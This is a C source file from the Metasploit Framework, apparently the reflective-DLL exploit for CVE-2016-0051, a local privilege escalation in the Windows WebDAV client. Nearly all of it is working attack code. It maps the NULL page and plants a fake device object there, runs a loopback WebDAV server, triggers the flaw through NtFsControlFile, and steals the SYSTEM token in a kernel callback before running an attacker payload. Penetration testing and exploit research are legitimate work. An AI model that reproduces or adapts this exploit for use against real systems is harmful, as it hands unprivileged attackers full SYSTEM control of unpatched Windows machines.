metasploit-framework/external/source/exploits/cve-2016-0051/dll/ReflectiveDll.c

424 lines
13 KiB
C
Executable File

/*
requires:
Reflective DLL Injection solution by Stephen Fewer
https://github.com/stephenfewer/ReflectiveDLLInjection
compiles with:
Visual Studio 2013
*/
#pragma once
#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <malloc.h>
#include <process.h>
#include <time.h>
#include <winsock2.h>
#include <windows.h>
#include <winternl.h>
#include <winnetwk.h>
#include <stdio.h>
#include <tchar.h>
#include "defs.h"
#include "ReflectiveLoader.h"
#pragma comment(lib, "ws2_32.lib")
#pragma comment(lib, "mpr.lib")
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
DWORD wdServ(SIZE_T port);
PVOID GetNativeAPI(CHAR *funcName);
PVOID GetKernelAPI(CHAR *kernelImage, PVOID *kernelBase, CHAR *funcName);
static VOID execPayload(LPVOID lpPayload);
NTSTATUS __stdcall tokenTwiddler(DWORD junk1, DWORD junk2);
_ZwOpenProcess pZwOpenProcess = NULL;
_ZwOpenProcessToken pZwOpenProcessToken = NULL;
_ZwDuplicateToken pZwDuplicateToken = NULL;
_ZwSetInformationProcess pZwSetInformationProcess = NULL;
_ZwClose pZwClose = NULL;
_PsLookupProcessByProcessId pPsLookupProcessByProcessId;
PSYSTEM_MODULE_INFORMATION pModuleInfo;
CHAR *KI = 0; // kernel image name
PVOID *KB = 0; // kernel base address
BOOL DROP_THE_MIC = FALSE;
extern HINSTANCE hAppInstance;
static VOID execPayload(LPVOID lpPayload)
{
VOID(*lpCode)() = (VOID(*)())lpPayload;
lpCode();
return;
}
DWORD wdServ(SIZE_T port) {
TCHAR client_data[1500];
struct sockaddr_in server;
struct sockaddr_in client;
SOCKET s1, s2;
SYSTEMTIME st;
WSADATA ws;
int c = sizeof(struct sockaddr_in), test = 0;
SIZE_T len = 0;
SIZE_T recv_size = 0;
time_t _tm;
struct tm *curtime;
CHAR *buf, *resp, *token, *token2, *timebuf;
if (WSAStartup(MAKEWORD(2, 2), &ws) != 0) {
exit(1);
}
if ((s1 = socket(AF_INET, SOCK_STREAM, 0)) == INVALID_SOCKET) {
exit(1);
}
server.sin_family = AF_INET;
server.sin_addr.s_addr = INADDR_ANY;
server.sin_port = htons(port);
if (bind(s1, (struct sockaddr *)&server, sizeof(server)) == SOCKET_ERROR) {
exit(1);
}
listen(s1, 3);
while (1) {
s2 = accept(s1, (struct sockaddr *)&client, &c);
if (s2 == INVALID_SOCKET) {
exit(1);
}
/* get stuff from client */
if ((recv_size = recv(s2, client_data, 1500, 0)) == SOCKET_ERROR) {
exit(1);
}
token = strtok(client_data, " \r\n");
if (token != NULL) {
if (strncmp(token, "OPTIONS", 7) == 0) {
buf = (char *)calloc(3000, 1);
len += sprintf(buf + len, "HTTP/1.1 200 OK\r\nMS-Author-Via: DAV\r\nDAV: 1,2,1#extend\r\nAllow: OPTIONS,GET,HEAD,PROPFIND\r\n\r\n");
memset(client_data, 0, 1500);
send(s2, buf, strlen(buf), 0);
free(buf);
len = 0;
}
else if (strncmp(token, "PROPFIND", 8) == 0) {
buf = (char *)calloc(3000, 1);
resp = (char *)calloc(3500, 1);
timebuf = (char *)calloc(256, 1);
token2 = strtok(NULL, " ");
GetSystemTime(&st);
_tm = time(NULL);
curtime = localtime(&_tm);
sprintf(timebuf, "%04d-%02d-%02dT%02d:%02d:%02d", st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond);
len += sprintf(buf + len, "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\r\n");
len += sprintf(buf + len, "<D:multistatus xmlns:D=\"DAV:\">\r\n");
len += sprintf(buf + len, "<D:response>\r\n");
len += sprintf(buf + len, "\t<D:href>%s</D:href>\r\n", token2);
len += sprintf(buf + len, "\t<D:propstat>\r\n");
len += sprintf(buf + len, "\t\t<D:prop>\r\n");
len += sprintf(buf + len, "\t\t<D:creationdate>%sZ</D:creationdate>\r\n", timebuf);
len += sprintf(buf + len, "\t\t<D:getcontentlength>0</D:getcontentlength>\r\n");
len += sprintf(buf + len, "\t\t<D:getcontenttype></D:getcontenttype>\r\n");
len += sprintf(buf + len, "\t\t<D:getetag></D:getetag>\r\n");
memset(timebuf, 0, sizeof(timebuf));
sprintf(timebuf, "%.3s, %02d %02d %04d %02d:%02d:%02d GMT", asctime(curtime), st.wDay, st.wMonth, st.wYear, st.wHour, st.wMinute, st.wSecond); // needs to look like Fri, 11 Mar 2016 20:39:35 GMT
len += sprintf(buf + len, "\t\t<D:getlastmodified>%s</D:getlastmodified>\r\n", timebuf);
if (strstr(token2, "file") != NULL) {
len += sprintf(buf + len, "\t\t<D:resourcetype></D:resourcetype>\r\n");
}
else {
len += sprintf(buf + len, "\t\t<D:resourcetype><D:collection></D:collection></D:resourcetype>\r\n");
}
len += sprintf(buf + len, "\t\t<D:supportedlock></D:supportedlock>\r\n");
len += sprintf(buf + len, "\t\t<D:ishidden>0</D:ishidden>\r\n");
len += sprintf(buf + len, "\t\t</D:prop>\r\n");
len += sprintf(buf + len, "\t\t<D:status>HTTP/1.1 200 OK</D:status>\r\n");
len += sprintf(buf + len, "\t</D:propstat>\r\n");
len += sprintf(buf + len, "</D:response>\r\n");
len += sprintf(buf + len, "</D:multistatus>\r\n");
len = 0;
len += sprintf(resp + len, "HTTP/1.1 207 Multi-Status\r\nMS-Author-Via: DAV\r\nDAV: 1,2,1#extend\r\nContent-Length: %d\r\nContent-Type: text/xml\r\n\r\n", strlen(buf));
len += sprintf(resp + len, buf);
send(s2, resp, strlen(resp), 0);
memset(client_data, 0, 1500);
free(buf);
free(resp);
free(timebuf);
len = 0;
}
else {
buf = (char *)calloc(3000, 1);
/* request not matched */
len += sprintf(buf + len, "HTTP/1.1 500 Internal Server Error\r\n\r\n");
send(s2, buf, strlen(buf), 0);
memset(client_data, 0, 1500);
free(buf);
len = 0;
}
}
/* done at this point */
closesocket(s2);
}
return 0;
}
PVOID GetNativeAPI(CHAR *funcName) {
return GetProcAddress(GetModuleHandle("ntdll"), funcName);
}
PVOID GetKernelAPI(CHAR *kernelImage, PVOID *kernelBase, CHAR *funcName) {
PVOID addr = NULL;
HMODULE hModule = NULL;
hModule = LoadLibraryExA(kernelImage, 0, DONT_RESOLVE_DLL_REFERENCES);
if (hModule) {
addr = GetProcAddress(hModule, funcName);
if (addr) {
addr = (PVOID)((PUCHAR)addr - (PUCHAR)hModule + (PUCHAR)kernelBase);
}
}
// printf("[+] DEBUG: %s @ 0x%08x\n", funcName, addr);
return addr;
}
/*
the idea for this came from a blog post by j00ru
*/
NTSTATUS __stdcall tokenTwiddler(DWORD junk1, DWORD junk2)
{
OBJECT_ATTRIBUTES ObjectAttributes;
HANDLE hSystem = NULL, hToken = NULL, hNewToken = NULL;
CLIENT_ID ClientId = { (HANDLE)4, NULL };
PROCESS_ACCESS_TOKEN AccessToken;
NTSTATUS NtStatus;
PDWORD CurrentProcess = NULL;
PDWORD off = NULL;
DWORD kFlags2Offset = 0x26c;
DWORD kFlags2, origFlags2, currPid = 0;
PEPROCESS myEP, systemEP;
/* Disable the EPROCESS->Flags2 PrimaryTokenFrozen flag */
currPid = GetCurrentProcessId();
NtStatus = pPsLookupProcessByProcessId((HANDLE)currPid, &myEP);
NtStatus = pPsLookupProcessByProcessId((HANDLE)4, &systemEP);
kFlags2 = *(PDWORD *)((PBYTE)myEP + kFlags2Offset);
origFlags2 = *(PDWORD *)((PBYTE)myEP + kFlags2Offset);
kFlags2 = kFlags2 ^ (1 << 15);
InitializeObjectAttributes(&ObjectAttributes, NULL, 0, NULL, NULL);
NtStatus = pZwOpenProcess(&hSystem, GENERIC_ALL, &ObjectAttributes, &ClientId);
if (!NT_SUCCESS(NtStatus)) {
goto err;
}
NtStatus = pZwOpenProcessToken(hSystem, GENERIC_ALL, &hToken);
if (!NT_SUCCESS(NtStatus)) {
return STATUS_UNSUCCESSFUL;
}
InitializeObjectAttributes(&ObjectAttributes, NULL, 0, NULL, NULL);
NtStatus = pZwDuplicateToken(hToken,
TOKEN_ALL_ACCESS,
&ObjectAttributes,
TRUE,
TokenPrimary,
&hNewToken
);
if (!NT_SUCCESS(NtStatus)) {
goto err;
}
AccessToken.Token = hNewToken;
AccessToken.Thread = NULL;
/* turn flag off */
*(PDWORD *)((PBYTE)myEP + kFlags2Offset) = kFlags2;
NtStatus = pZwSetInformationProcess((HANDLE)-1,
ProcessAccessToken,
&AccessToken,
sizeof(PROCESS_ACCESS_TOKEN));
/* turn flag back on because reasons */
*(PDWORD)(myEP + kFlags2Offset) = origFlags2;
if (!NT_SUCCESS(NtStatus)) {
goto err;
}
DROP_THE_MIC = TRUE;
err:
if (hNewToken != NULL) {
pZwClose(hNewToken);
}
if (hToken != NULL) {
pZwClose(hToken);
}
if (hSystem != NULL) {
pZwClose(hSystem);
}
return 31337;
}
int doWork(LPVOID lpPayload)
{
HANDLE hThread, hFile;
IO_STATUS_BLOCK IoStatusBlock;
ULONG len = 0, inputLen = 24, outputLen = 4;
DWORD allocSize = 0x4000;
DWORD allocAddr = 0x00000001;
NTSTATUS ntRet;
NETRESOURCE nr, *pnr;
_NtQuerySystemInformation pNtQuerySystemInformation;
_NtAllocateVirtualMemory pNtAllocateVirtualMemory;
_NtFsControlFile pNtFsControlFile;
SIZE_T port, remoteNameLen = 0;
DWORD wnacRes, *inputPtr, *outputPtr;
PBAD_DEVICE_OBJECT pBadDeviceObject;
char remoteName[64];
char cfName[64];
/* gather info and such */
memset(remoteName, 0, sizeof(remoteName));
memset(cfName, 0, sizeof(cfName));
memset(&IoStatusBlock, 0, sizeof(IoStatusBlock));
pNtQuerySystemInformation = (_NtQuerySystemInformation)GetNativeAPI("NtQuerySystemInformation");
if (!pNtQuerySystemInformation) {
exit(1);
}
pNtFsControlFile = (_NtFsControlFile)GetNativeAPI("NtFsControlFile");
if (!pNtFsControlFile) {
exit(1);
}
pNtAllocateVirtualMemory = (_NtAllocateVirtualMemory)GetNativeAPI("NtAllocateVirtualMemory");
if (!pNtAllocateVirtualMemory) {
exit(1);
}
pNtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemModuleInformation, NULL, 0, &len);
pModuleInfo = (PSYSTEM_MODULE_INFORMATION)GlobalAlloc(GMEM_ZEROINIT, len);
pNtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemModuleInformation, &pModuleInfo, sizeof(pModuleInfo), NULL);
ntRet = pNtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemModuleInformation, NULL, 0, &len);
if (!ntRet) {
exit(1);
}
pModuleInfo = (PSYSTEM_MODULE_INFORMATION)GlobalAlloc(GMEM_ZEROINIT, len);
ntRet = pNtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemModuleInformation, pModuleInfo, len, &len);
KB = (PVOID *)pModuleInfo->Modules[0].ImageBase;
KI = (CHAR *)pModuleInfo->Modules[0].FullPathName + pModuleInfo->Modules[0].OffsetToFileName;
/* finishing information gathering */
pZwOpenProcess = (_ZwOpenProcess)GetKernelAPI(KI, KB, "ZwOpenProcess");
pZwOpenProcessToken = (_ZwOpenProcessToken)GetKernelAPI(KI, KB, "ZwOpenProcessToken");
pZwDuplicateToken = (_ZwDuplicateToken)GetKernelAPI(KI, KB, "ZwDuplicateToken");
pZwSetInformationProcess = (_ZwSetInformationProcess)GetKernelAPI(KI, KB, "ZwSetInformationProcess");
pZwClose = (_ZwClose)GetKernelAPI(KI, KB, "ZwClose");
pPsLookupProcessByProcessId = (_PsLookupProcessByProcessId)GetKernelAPI(KI, KB, "PsLookupProcessByProcessId");
/* start setting up the trigger */
srand(time(NULL));
port = (rand() % (60000 - 5000)) + 5000;
//printf("[+] Allocating page at 0x00000000 ...\n");
ntRet = pNtAllocateVirtualMemory((HANDLE)-1, (LPVOID)&allocAddr, 0, &allocSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (ntRet != 0) {
//printf("[-] NtAllocateVirtualMemory error. Status = 0x%08x\n\n", ntRet);
exit(1);
}
pBadDeviceObject = (PBAD_DEVICE_OBJECT)GlobalAlloc(GMEM_ZEROINIT, sizeof(BAD_DEVICE_OBJECT));
//printf("[+] Building fake DEVICE_OBJECT ...\n");
pBadDeviceObject->addrPtr = (DWORD)0x00000010;
pBadDeviceObject->evilAddr = (ULONG)&tokenTwiddler;
memcpy((PVOID)0x00, pBadDeviceObject, sizeof(BAD_DEVICE_OBJECT));
//printf("[+] Starting WebDAV server on port %d\n", port);
hThread = (HANDLE)_beginthread((void *)wdServ, 0, (void *)port);
//printf("[+] WebDAV thread started, back in main()\n");
memset(&nr, 0, sizeof(NETRESOURCE));
sprintf(remoteName, "\\\\127.0.0.1@%d\\folder\\", port);
sprintf(cfName, "\\\\127.0.0.1@%d\\folder\\file", port);
pnr = &nr;
pnr->dwScope = 0;
pnr->dwType = 0;
pnr->dwDisplayType = 0;
pnr->dwUsage = 0;
pnr->lpLocalName = NULL;
pnr->lpRemoteName = (LPSTR)&remoteName[0];
pnr->lpComment = NULL;
pnr->lpProvider = NULL;
wnacRes = WNetAddConnection2(&nr, NULL, NULL, (DWORD)0);
// printf("[+] WNetAddConnection2 result: 0x%08x\n", wnacRes);
if (wnacRes != 0) {
// printf("WNetAddConnection2 failed ... wtf\n");
exit(1);
}
hFile = CreateFileA(cfName, FILE_ATTRIBUTE_NORMAL, (DWORD)7, NULL, (DWORD)3, (DWORD)0, NULL);
inputPtr = (DWORD *)GlobalAlloc(GMEM_ZEROINIT, inputLen);
outputPtr = (DWORD *)GlobalAlloc(GMEM_ZEROINIT, outputLen);
// printf("Calling NtFsControlFile ...\n");
ntRet = pNtFsControlFile(hFile, 0, 0, 0, &IoStatusBlock, 0x900DB, inputPtr, inputLen, outputPtr, outputLen);
// printf("[+] NtFsControlFile result: 0x%08x\n", ntRet);
if (DROP_THE_MIC == TRUE) {
execPayload(lpPayload);
}
else {
/* nothing to do */
}
// printf("[+] Done, cya ...\n");
return 0;
}
BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved )
{
BOOL bReturnValue = TRUE;
switch( dwReason )
{
case DLL_QUERY_HMODULE:
if( lpReserved != NULL )
*(HMODULE *)lpReserved = hAppInstance;
break;
case DLL_PROCESS_ATTACH:
hAppInstance = hinstDLL;
doWork(lpReserved);
break;
case DLL_PROCESS_DETACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break;
}
return bReturnValue;
}